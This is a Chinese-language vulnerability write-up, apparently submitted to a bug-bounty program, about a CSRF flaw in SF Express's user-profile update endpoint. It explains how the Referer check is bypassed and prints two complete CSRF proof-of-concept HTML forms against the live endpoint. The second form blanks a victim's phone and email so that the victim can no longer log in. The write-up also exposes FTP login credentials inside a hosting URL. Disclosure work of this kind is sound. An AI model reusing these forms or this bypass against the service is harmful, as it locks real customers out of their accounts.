顺丰速运的严重csrf之不让你登陆用户

漏洞挖掘

1、首先打开url => https://i.sf-express.com/new/cn/sc/user/userinfo/user_info.html

2、点击修改后填写数据，如图

3、点击保存后抓包，抓取的数据包如下：

POST /service/new/user/updateUserInfo HTTP/1.1

这里是有判断Referer的，我们先将其放在Burp的Repeater模块里~

经过不断的尝试，发现是可以绕过的，如图：

image_1ci6bjintmcb1k27hsi1pg8oce1g.png-180.7kB

结果发现，当Referer的值存在user/userinfo/user_info.html的时候，就可以成功保存。

4、经过分析，我们将其构造为Csrf Poc：

为了更方便审核大大，我创建了一个免费空间，并且在创建
image_1ci6ekqcl12ta1ovv7jb1m91187q2d.png-37.4kB

csrf.html里面的代码为：

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://i.sf-express.com/service/new/user/updateUserInfo" method="POST" id="bd">
      <input type="hidden" name="name" value="iamfree" />
      <input type="hidden" name="company" value="csrf_test" />
      <input type="hidden" name="sex" value="M" />
      <input type="hidden" name="department" value="csrf_test" />
      <input type="hidden" name="birthday" value="1900-01-01" />
      <input type="hidden" name="position" value="csrf_test" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="provinceId" value="010" />
      <input type="hidden" name="provinceName" value="5201314" />
      <input type="hidden" name="cityId" value="010" />
      <input type="hidden" name="cityName" value="csrf" />
      <input type="hidden" name="countyId" value="501" />
      <input type="hidden" name="countyName" value="csrf" />
      <input type="hidden" name="address" value="csrf_test" />
      <input type="submit" value="go">
    </form>
  </body>
  <script>
    // document.getElementById('bd').submit();
  </script>
</html>

5、在浏览器访问一下~

url => ftp://web6060:keacRSjV@ftp09.host.me0.cn/wwwroot/user/userinfo/user_info.html/csrf.html

image_1ci6eon5kh5n1ged1bba1uqa1ave37.png-130.1kB

6、查看是否被修改
image_1ci6eq68m1nc11mnc7661fae1uer3k.png-134.5kB

这里我突发奇想，因为在登陆的时候，需要填写如下内容：

image_1ci6erg211n3411u812o01nqqan41.png-355.9kB

我在想，如果我也能将手机号码和邮箱修改掉，这个用户是不是再也无法登陆了，尝试一下~

7、加入2个参数

image_1ci6evjt81mbq9ke1pq61l8s1g0l4r.png-115.5kB

哇，果然没了，再将其构造为csrf poc~

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://i.sf-express.com/service/new/user/updateUserInfo" method="POST" id="bd">
      <input type="hidden" name="name" value="iamfree1" />
      <input type="hidden" name="company" value="csrf_test" />
      <input type="hidden" name="sex" value="M" />
      <input type="hidden" name="department" value="csrf_test" />
      <input type="hidden" name="birthday" value="1900-01-01" />
      <input type="hidden" name="position" value="csrf_test" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="provinceId" value="010" />
      <input type="hidden" name="provinceName" value="5201314" />
      <input type="hidden" name="cityId" value="010" />
      <input type="hidden" name="cityName" value="csrf" />
      <input type="hidden" name="countyId" value="501" />
      <input type="hidden" name="countyName" value="csrf" />
      <input type="hidden" name="address" value="csrf_test" />
      <input type="hidden" name="mobile" value="">
      <input type="hidden" name="emailAddr" value="">
      <input type="submit" value="go">
    </form>
  </body>
  <script>
    // document.getElementById('bd').submit();
  </script>
</html>

8、再次去浏览器打开~

image_1ci6f4gbb1br81p713nfta4p85l.png-120.9kB

那么，这样子，我将名字改成了iamfree1，并且将手机号码和邮箱都设置为空，用户就没办法再登陆了，所以我只要将csrf poc发送给任意用户，任意用户就没法登陆了~
